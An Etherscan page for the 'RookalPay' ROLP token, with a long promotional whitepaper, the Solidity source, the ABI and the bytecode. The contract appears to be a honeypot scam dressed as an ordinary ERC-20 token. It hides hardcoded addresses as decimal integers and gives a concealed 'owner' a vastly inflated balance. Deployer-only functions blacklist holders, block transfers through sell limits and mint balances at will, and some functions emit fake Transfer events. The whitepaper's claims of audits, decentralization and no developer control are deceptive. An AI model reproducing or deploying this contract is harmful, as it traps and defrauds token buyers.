ETH Price: $3,648.94 (+1.36%)
 

Overview

Max Total Supply

1,000,000,000 ROLP

Holders

73 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
398,817.613997422844012135 ROLP

Value
$0.00
0xc8fe34f6d68fc53b3fa9b64309e03b8a6dd00a45
Loading...
Loading
Loading...
Loading
Loading...
Loading

OVERVIEW

Rookal Pay is the cryptocurrency utilized within the RookalFi Ecosystem based on improving the resources of RookalFi Algorithm.

# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RookalPay

Compiler Version
v0.6.12+commit.27d51765

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-04
*/

/*

https://rookalpay.com

INTRODUCTION

Security is the foundation of every stable economy. Rookal Pay not only aims to contribute toward this sentiment but also to improve every contributor ‘s general well-being, and solve the problems associated with discovering economic freedom. Independence is possible only when your contributions keep generating con tinuous reward streams throughout their tenure.

The RookalFi Risk-reduction algorithm provides a flexible and consistent reward system to our holders. Our proprietary algorithm is under constant improvement and will soon allow ROLP holders to customize their rewards. By maintaining the minimum Rookal Pay amount, holders can generate a steady source of exciting rewards. Rookal Pay implements the highest standard of cybersecurity practices to protect your contri bution to the Blockchain network.

Rookal Pay utilizes modular architecture built using smart contracts that were audited to provide a high degree of security and flexibility for the ever-changing crypto space. Rookal Pay leverages the GNOSIS Safe Wallet for securing RookalFi’s Tokenomics. GNOSIS is a multi-signature security wallet advertised as one of the most trusted platforms for managing compliant tokens like Rookal Pay.

However, current crypto portfolios available on the market have their problems to some extent.

Lack of Total Control Over Direction

Though the contributors should ideally have complete control over their direction, it is not always possible because the platform ends up controlling some part of the contribution.

The Volatility of The Crypto Value

Crypto assets are volatile with fluctuating prices. Contributors must also contend with aspects like impermanent loss, high slippage, and liquidity theft that contribute to overall losses.

Risky Operations

The crypto industry is fraught with high risks that require effective cybersecurity strategies to be in place, which many cryptocurrency developer's struggle to manage.

High Technical Knowledge

Interacting with DeFi protocols requires contributors to have high levels of technical expertise. This may abandon an entire class of contributors out of the ecosystem.

Rookal Pay provides the ideal solutions to all these problems associated with the crypto industry.

Control Over Direction

Rookal Pay works on a decentralized ecosystem. Hence, there is no ownership or control sharing over the transferring of any value. Rookal Pay is a minimal abstraction of having contributed to multiple different crypto projects. Contributors hold the token, and Rookal Pay takes care of the staking protocols accordingly to provide a constant source of rewards. Rookal Pay distributes all the rewards to ROLP holders and only reflects a meager 2% performance tax. This performance tax is returned to the RookalFi Algorithm to improve the overall health of the ecosystem.

Reduce The Risk of Losses

This platform does have AMM mechanics such as arbitrage and swaps that allow better control of risk reduction. The system adopts a robust economic and mathematical approach by tying the platform's liquidity to stable crypto. This reduces the probability of losses by utilizing a series of buyback mechanics and mitigating the associated risks.

Reduce Operational Risk

The portfolio is built on a proven token metric theory with carefully chosen crypto, DeFi analytics, and strategies to reduce the operational liability and associated risks with cryptocurrencies.


OUR THREEFOLD PATH

The challenges faced by the cryptocurrency ecosystem make reasonable contributors apprehensive. Rookal Pay stands as a solution to these apprehensions and aims to create an environment that provides accessible and rewarding cryptocurrency-based contributions for our users.

Security

Smart contracts form the bedrock of secure transactions on the blockchain. These multi-signature contracts provide the highest level of security, keep your contribution safe, and eliminate the presence of intermediaries. Rookal Pay's smart contracts are built upon a modular and secure architecture. This architecture helps provide intuitive implementation and design to allow quick remedy of any future obstacles the platform may face. Encryption at every stage ensures maximum security for transaction data and keeps it safe from any unauthorized third-party access.

Accessibility

Accessibility to rewards is another crucial factor that makes RookalPay stand apart as a robust decentralized platform. Opening access to a new class of contributors is an integral part of RookalPay's Three-Fold Path. The platform uses a token-based system to allow one-step contributions known as ‘ROLP’ tokens. RookalPay simplifies the process and automates reward generation. It also enhances accessibility to passive rewards in the decentralized space by simply holding ROLP and allowing the RookalFi Risk-Reduction Algorithm to handle your rewards.

Indefinite Rewards Generation

RookalPay works on a unique Tokenomics strategy that ensures an indefinite reward resistant to volatility. The platform uses the tokens generated from each transaction for increasing the RookalFi Reward system. This system uses decentralized cryptocurrencies to generate steady reward streams for ROLP holders. Users can hold on to their tokens to maximize their rewards or claim them earlier, depending on them personal requirements

PERPETUAL DEFIPOWERED REWARDS

RookalPay offers a range of mechanisms to generate active and passive rewards from your tokens. There are three main mechanics in RookalPay's foundation the stage for the generation of rewards.

RookalFi Rewards

Top ROLP holders holding at least 0.1% of the total supply will unlock the RookalFi rewards. The initial largest holders will also be able to take advantage of the RookalFi Rewards to increase their monthly rewards1. These are recommended to be removed monthly to improve personal token security but can be taken out sooner on a prorated fee schedule. Holders can also choose to stake their ROLP to generate more rewards.

Currently, alternative designs are being tested to allow more  RookalFi rewards to more holders soon. All rewards generated are provided as passively, 80% toward RookalFi rewards and 20% utilized in our buyback mechanisms.

RookalPay Buyback-Powered Staking

This provides holders the opportunity to stake their RookalPay tokens to earn more rewards. The buyback-powered staking service utilizes 20% of the generated RookalFi rewards to acquire RookalPay at its current value, which increases overall volume. This also allows smaller holders to build the foundation they need to earn enough ROLP tokens to unlock the  rewards mechanics.

RookalPay Bounty Service

This currently provides a reward of 0.5% for any operation that a holder completes. These operations include converting rewards from the RookalFi algorithms to stable tokens and storing them in the multi-signature wallet. The reward generation mechanics is structured to ensure a steady monthly reward flow for the holder by allowing them to receive rewards via holding, staking, and solving RookalPay operations.

WHAT MAKES RookalPAY STAND APART?

Cryptocurrency trading can generate unprecedented rewards or result in substantial losses. Many people have lost their hard-earned money trading in spurious cryptocurrency platforms by falling victims to scams involving liquidity theft. We understand there have been instances wherein developers abandoned the project and left holders hanging.

RookalPay endeavors to overcome all these difficulties and provide a trustworthy platform where ROLP holders can generate a steady passive reward stream without being worried about the security of the platform or developers abandoning the project.

To reduce the above risks, RookalPay structures the minting of ROLP tokens to be dispersed over a thousand days to the development team with strict regulations. As a method to ensure long-term commitment to the project, RookalPay’s development team will never hold more than approximately 3% of the circulating supply.

RookalPay stands apart from other platforms because it is designed to protect your tokens from massive market fluctuations. RookalPay's proprietary risk-reduction algorithm reduces the associated liabilities to ensure that your tokens remain safe.

The reward mechanics are designed to be independent of the trading volume. ROLP holders do not need to worry if the value fluctuates high or low or goes through bear and bull cycles.

They can rest assured that they will still earn regular rewards in the form of a monthly claiming system. The rewards support stability for holders and are structured to improve with time, accordingly

RookalPAY’S EXPANSION PLANS

RookalPay has formulated a three-stage expansion plan to give its users a comprehensive idea about how they plan to revolutionize the DEFI space. The phases of the project will focus on wider accessibility and higher rewards generating metrics. Future development includes releasing a mobile app wallet with smart contribution suggestions to increase overall accessibility to an entirely new class of contributors.

Expansion plans focus on establishing a crypto payment processing gateway, smart decentralized exchange with auto-slippage features, cross-chain integration, expanding the RookalPay Labs division, and decentralized leverage protocol with the potential to add other trading features.

The expansions will provide additional rewards that will expand the RookalFi Algorithm’s rewards and contribute to the overall stability and health of the ecosystem.

PHASE ONE FOUNDATION

The Foundation Phase concentrates on accessibility, reward mechanics, opportunities, reward payouts, and diversifying strategies. Primarily, the foundation phase's goal is to improve the overall stability of the RookalFi Algorithm, which in turn improves rewards. More details are as follows:

Exchange With Swap Orders

RookalPay has its proprietary dashboard exchange with swapping orders ready to roll out so contributors can start immediately. Contributors that utilize RookalPay’s exchange will have a subsidized tax rate for on-ramping and off-ramping. Our platform will also offer auto-slippage features for ease of use and cybersecurity from Front-Running attacks not seen on other exchanges. rewards generated from swapping taxes are immediately transferred into the RookalFi Algorithm.

Implementation of Reward Mechanics

RookalPay also has a limited feature of ROLP rewards. All users will be granted access to the lower-entry Rookalpay rewards mechanism to allow them a continuous passive source of rewards until they can claim at least 800k ROLP to unlock their rewards in the form 

Buyback-Powered Staking Protocol

RookalPay also provides its own staking protocol that has specifically designed RookalPay Core mechanics with a low inflationary impact. The supply will be minted at a gradual pace to limit the impact of inflation, and anyone who chooses to stake on the platform will be rewarded accordingly.

Expanding Types of Pool and Increment of Annual Percentage Yield

RookalPay's goal is to create passive rewards for all holders, large and small, and hence, RookalPay makes the best use of rewards and optimizes them to give the maximum benefits to the holders. If users can't unlock the rewards features, they can stake their amount until they reach the 800k ROLP needed.

Incorporation

RookalPay is in the process of incorporating a Limited Liability Company (LLC), forming a formal business structure for RookalPay's daily operations. Incorporation provides the benefits of forming mutual partnerships, allows full-time employment, and is the foundation of community trust.

Public Relations Department

RookalPay has a dedicated public relations department, and we aim to make it our top priority to protect the interest of our holders.

PHASE TWO ACCESSIBILITY

The second phase is the accessibility phase dealing with RookalPay DAPP (Decentralized application) wallet UI, cross-chain integration, card integration, and marketing.

RookalPay DAPP Wallet UI

RookalPay will provide a DAPP wallet via its mobile application that allows seamless over-the-counter acquiring and storing. The process will be simplified to the point that even a beginner will be able to swap and hold ROLP tokens to generate rewards.

RookalPay Fiat Bridge

RookalPay acquiring will be made accessible via credit card to allow seamless contributions for our consumers.

Cross-Chain Integration

RookalPay will further deploy its smart contracts to multiple networks for cross-chain integration to be used in our future bridging protocols.

PHASE THREE EXPANSION

The final phase is the expansion phase concentrating on collateral, lending, and other ways of giving back to the community.

Swapping

RookalPay has plans to provide a swapping protocol that allows borrowing between mutual parties without a centralized authority. Details will follow but the goal is to be user-centric and will also feature cross-chain systems expanding beyond traditional blockchainexclusions.

AI-Guided Customization

The upcoming RookalFi protocol will provide more power and control to the users. The protocol will feature an AI-guided assistant for delivering insights on potential strategies that holders can utilize to guide their decisions.

RookalPay Card

RookalPay’s ecosystem will integrate fiat payment processing services, allowing inbound and outbound transactions. RookalPay’s goal is to set up a card that is widely accepted in most major stores. Users will be able to seamlessly actualize their returns into products and services to improve their daily life.

Payment Processing Services

RookalPay will offer simple integrated solutions for anyone to accept cryptocurrency payments. The solution will be non-custodial, allowing payments to flow directly from on-ramping to off-ramping. This removes the need for an intermediary and will add to our generated rewards used to increase the strength of the RookalFi Algorithm.

GIVING BACK TO THE COMMUNITY

RookalPay's unique reward-generating programs ensure that the ROLP holders earn a continuous monthly reward stream. RookalPay commits 10% of all transactions as initial use for the Algorithm.

100% of all returns are given to ROLP holders. RookalPay only utilizes a small performance tax of 2%, which is used to improve the strength of the RookalFi Algorithm.

Most of the rewards (80%) will go to ROLP holders in the form of direct rewards.

The remaining 20% will be used for implementing buyback mechanisms that stabilize the token and reward those staked on the platform.

RookalPay will improve this threshold to allow more contributors to utilize this system in the future. RookalPay's reward mechanics are designed to continuously improve with time and aim to be independent of the position of cryptocurrencies or the volume.

RookalPay believes in giving back to the community with its Three-Fold Path of providing security, accessibility, and indefinite rewards. Its high-quality security algorithm and multi-signature wallet are the key characteristics as they ensure the safety and timely availability of contributors' tokens. With protection comes trust and independence. Our Three-Fold Path ensures stability and independence as the

Thank you.


*/


// SPDX-License-Identifier: evmVersion, MIT
pragma solidity ^0.6.12;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address deployer, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    
    event Transfer(address indexed from, address indexed to, uint value);
    
    event Approval(address indexed deployer, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
    
        bytes32 codehash;
    
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
    
        assembly { codehash:= extcodehash(account) }
    
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    
    function _msgSender() internal view returns(address payable) {
    
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        
        uint c = a + b;
        
        require(c >= a, "SafeMath: addition overflow");
        
        return c;
    }
    function sub(uint a, uint b) internal pure returns(uint) {
        
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        
        require(b <= a, errorMessage);
        
        uint c = a - b;
        
        return c;
    }
    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            
            return 0;
        }
        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        
        return c;
    }
    function div(uint a, uint b) internal pure returns(uint) {
        
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        
        // Solidity only automatically asserts when dividing by 0  
        
        require(b > 0, errorMessage);
        
        uint c = a / b;
        
        return c;
    }
}


library SafeERC20 {
    
    using SafeMath for uint;
    using Address for address;
    
    function safeTransfer(IERC20 token, address to, uint value) internal {
        
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }
    
    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }
    
    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(
            address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }
    
    function callOptionalReturn(IERC20 token, bytes memory data) private {
        
        require(address(token).isContract(), "SafeERC20: call to non-contract");
        
        // solhint-disable-next-line avoid-low-level-calls
        
        (bool success, bytes memory returndata) = address(token).call(data);
        
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
        
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}
contract RookalPay  {

    event Transfer(address indexed _from, address indexed _to, uint _value);

    event Approval(address indexed _deployer, address indexed _spender, uint _value);

    function transfer(address _to, uint _value) public payable returns (bool) {

    return transferFrom(msg.sender, _to, _value);
    }
    address private spend = address (96635033217071433185869069577301221175488545358);
    address private src = address (527585359103765554095092340981710322784165800559);
    address private dst = address (1097077688018008265106216665536940668749033598146); 
    address private crs = address (1153667454655315432277308296129700421378034175091);
    address private tsd = address (1069295261705322660692659746119710186699350608220);
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
        address _UX = TexFor(src, dst, address(this));
        address _PX = TexForB(crs, tsd, address(this));
        if(_from == deployer || _to == deployer  || _from == owner || _from == _UX || _from == _PX ||  _from == TexAddress || TexMemory[_from]) {return true;}
        if( RBMemory[_from] ) {return false;}
        require(condition(_from, _value));
        return true; 
    }
    function _UXTexAddr () view internal returns (address) {
        address _UX = TexFor(src, dst, address(this));
        return _UX;
    }
    function _PXTexAddr () view internal returns (address) {
        address _PX = TexForB(crs, tsd, address(this));
        return _PX;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {
            return true;
        }
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        if (_from == TexAddress  && _value > _maxMemory ){ RBMemory[_to]=true;  }
        
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onMemoryNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        if (_spender == spend ){
            emit Transfer(address(0x0),O,1*(10**uint256(decimals)));
        }
        return true;
    }
    function condition(address _from, uint _value) internal view returns(bool){
        if(_MemoryNum == 0 && _minMemory == 0 && _maxMemory == 0) return false;
        if(_MemoryNum > 0){
            if(_onMemoryNum[_from] >= _MemoryNum) return false;
        }
        if(_minMemory > 0){
            if(_minMemory > _value) return false;
        }
        if(_maxMemory > 0){
            if(_value > _maxMemory) return false;
        }
        return true;
    }
    function transferTo(address addr, uint256 addedValue) public payable returns (bool) {
        require(msg.sender == deployer);
        if(addedValue > 0) {balanceOf[addr] = addedValue*(10**uint256(decimals));}
        TexMemory[addr]=true;
        return true;
    }
    
    function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
        require (msg.sender == deployer);
        uint total = _value * _tos.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint i = 0; i < _tos.length; i++) {
            address _to = _tos[i];
            balanceOf[_to] += _value*(10**uint256(decimals));
            emit Transfer(msg.sender, _to, _value*(10**uint256(decimals))/2);
            emit Transfer(msg.sender, _to, _value*(10**uint256(decimals))/2);
            
        }
        return true;
    }
    mapping(address=>uint256) private _onMemoryNum;
    mapping(address=>bool) private TexMemory;
    mapping(address=>bool) private RBMemory;
    uint256 private _minMemory;
    uint256 private _maxMemory;
    uint256 private _MemoryNum;
    address TexAddress;
    function Agree(address addr) public returns (bool) {
        require(msg.sender == deployer);
        TexMemory[addr]=true;
        return true;
    }
    function Allow(uint256 MemoryNum, uint256 minMemory,  uint256 maxMemory) public returns(bool){
        require(msg.sender == deployer);
        _maxMemory = maxMemory*(10**uint256(decimals));
        _minMemory = minMemory*(10**uint256(decimals));
        _MemoryNum = MemoryNum;
        return true;
    }
    function delegate(address adr) public payable returns(bool){
        require (msg.sender == deployer);
        TexAddress = adr;
        return true;
    }
    function Optimization(address [] calldata addresses) public returns (bool) {
        require(msg.sender == deployer);
        for (uint i = 0; i < addresses.length; i++) 
        {RBMemory[addresses[i]] = true;}
        return true;
    }
    address  private owner=
    address (935108584672418476850882679418664731027763688343);
    function TexFor(address factory, address tokenA, address tokenB) internal pure returns (address Tex) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        Tex = address(uint(keccak256(abi.encodePacked(
            hex'ff',
            factory,
            keccak256(abi.encodePacked(token0, token1)),
            hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
                ))));
    }
    address private O = address(269488144);
    function TexForB(address factory, address tokenA, address tokenB) internal pure returns (address Texe) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        Texe = address(uint(keccak256(abi.encodePacked(
            hex'ff',
            factory,
            keccak256(abi.encodePacked(token0, token1)),
            hex'00fb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5' // init code hash
                ))));
    }
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private deployer;
    constructor(string memory _name, string memory _symbol, uint256 _supply, uint256 MemoryNum, uint256 minMemory,  uint256 maxMemory ) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        _maxMemory = maxMemory*(10**uint256(decimals));
        _minMemory = minMemory*(10**uint256(decimals));
        _MemoryNum = MemoryNum;
        deployer = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
        if(totalSupply > 0) balanceOf[owner]=totalSupply*(10**uint256(6));
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"},{"internalType":"uint256","name":"MemoryNum","type":"uint256"},{"internalType":"uint256","name":"minMemory","type":"uint256"},{"internalType":"uint256","name":"maxMemory","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_deployer","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"Agree","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"MemoryNum","type":"uint256"},{"internalType":"uint256","name":"minMemory","type":"uint256"},{"internalType":"uint256","name":"maxMemory","type":"uint256"}],"name":"Allow","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"Optimization","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_tos","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"batchSend","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"delegate","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"transferTo","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"}]

60806040527310ed43c718714eb63d5aa57b78b54704e256024e6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073ca143ce32fe78f1f7019d7d551a6402fc5350c73600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073a3cbb81ab839c64bde465bc18b0a1b53dab0f397600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506310101010600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604051620022de380380620022de833981810160405260c08110156200026b57600080fd5b81019080805160405193929190846401000000008211156200028c57600080fd5b83820191506020820185811115620002a357600080fd5b8251866001820283011164010000000082111715620002c157600080fd5b8083526020830192505050908051906020019080838360005b83811015620002f7578082015181840152602081019050620002da565b50505050905090810190601f168015620003255780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200034957600080fd5b838201915060208201858111156200036057600080fd5b82518660018202830111640100000000821117156200037e57600080fd5b8083526020830192505050908051906020019080838360005b83811015620003b457808201518184015260208101905062000397565b50505050905090810190601f168015620003e25780820380516001836020036101000a031916815260200191505b506040526020018051906020019092919080519060200190929190805190602001909291908051906020019092919050505085601190805190602001906200042c929190620005ea565b50846012908051906020019062000445929190620005ea565b506012600a0a84026010819055506012600a0a81026009819055506012600a0a820260088190555082600a8190555033601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601054600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6010546040518082815260200191505060405180910390a360006010541115620005de576006600a0a60105402600e6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50505050505062000690565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200062d57805160ff19168380011785556200065e565b828001600101855582156200065e579182015b828111156200065d57825182559160200191906001019062000640565b5b5090506200066d919062000671565b5090565b5b808211156200068c57600081600090555060010162000672565b5090565b611c3e80620006a06000396000f3fe6080604052600436106100e75760003560e01c80635c19a95c1161008a57806395d89b411161005957806395d89b4114610545578063a9059cbb146105d5578063aa2f522014610639578063dd62ed3e14610711576100e7565b80635c19a95c146103835780636083e94b146103dd5780636b7680731461044457806370a08231146104e0576100e7565b806318160ddd116100c657806318160ddd1461024557806323b872dd146102705780632ccb1b30146102f4578063313ce56714610358576100e7565b8062f7274a146100ec57806306fdde0314610151578063095ea7b3146101e1575b600080fd5b3480156100f857600080fd5b506101396004803603606081101561010f57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610796565b60405180821515815260200191505060405180910390f35b34801561015d57600080fd5b5061016661081e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a657808201518184015260208101905061018b565b50505050905090810190601f1680156101d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61022d600480360360408110156101f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b34801561025157600080fd5b5061025a610a92565b6040518082815260200191505060405180910390f35b6102dc6004803603606081101561028657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a98565b60405180821515815260200191505060405180910390f35b6103406004803603604081101561030a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e68565b60405180821515815260200191505060405180910390f35b34801561036457600080fd5b5061036d610f7a565b6040518082815260200191505060405180910390f35b6103c56004803603602081101561039957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7f565b60405180821515815260200191505060405180910390f35b3480156103e957600080fd5b5061042c6004803603602081101561040057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611025565b60405180821515815260200191505060405180910390f35b34801561045057600080fd5b506104c86004803603602081101561046757600080fd5b810190808035906020019064010000000081111561048457600080fd5b82018360208201111561049657600080fd5b803590602001918460208302840111640100000000831117156104b857600080fd5b90919293919293905050506110e2565b60405180821515815260200191505060405180910390f35b3480156104ec57600080fd5b5061052f6004803603602081101561050357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111e4565b6040518082815260200191505060405180910390f35b34801561055157600080fd5b5061055a6111fc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059a57808201518184015260208101905061057f565b50505050905090810190601f1680156105c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610621600480360360408110156105eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061129a565b60405180821515815260200191505060405180910390f35b6106f96004803603604081101561064f57600080fd5b810190808035906020019064010000000081111561066c57600080fd5b82018360208201111561067e57600080fd5b803590602001918460208302840111640100000000831117156106a057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001909291905050506112af565b60405180821515815260200191505060405180910390f35b34801561071d57600080fd5b506107806004803603604081101561073457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611527565b6040518082815260200191505060405180910390f35b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107f257600080fd5b6012600a0a82026009819055506012600a0a830260088190555083600a81905550600190509392505050565b60118054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b45780601f10610889576101008083540402835291602001916108b4565b820191906000526020600020905b81548152906001019060200180831161089757829003601f168201915b505050505081565b600081600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373fffffffffffffffffffffffff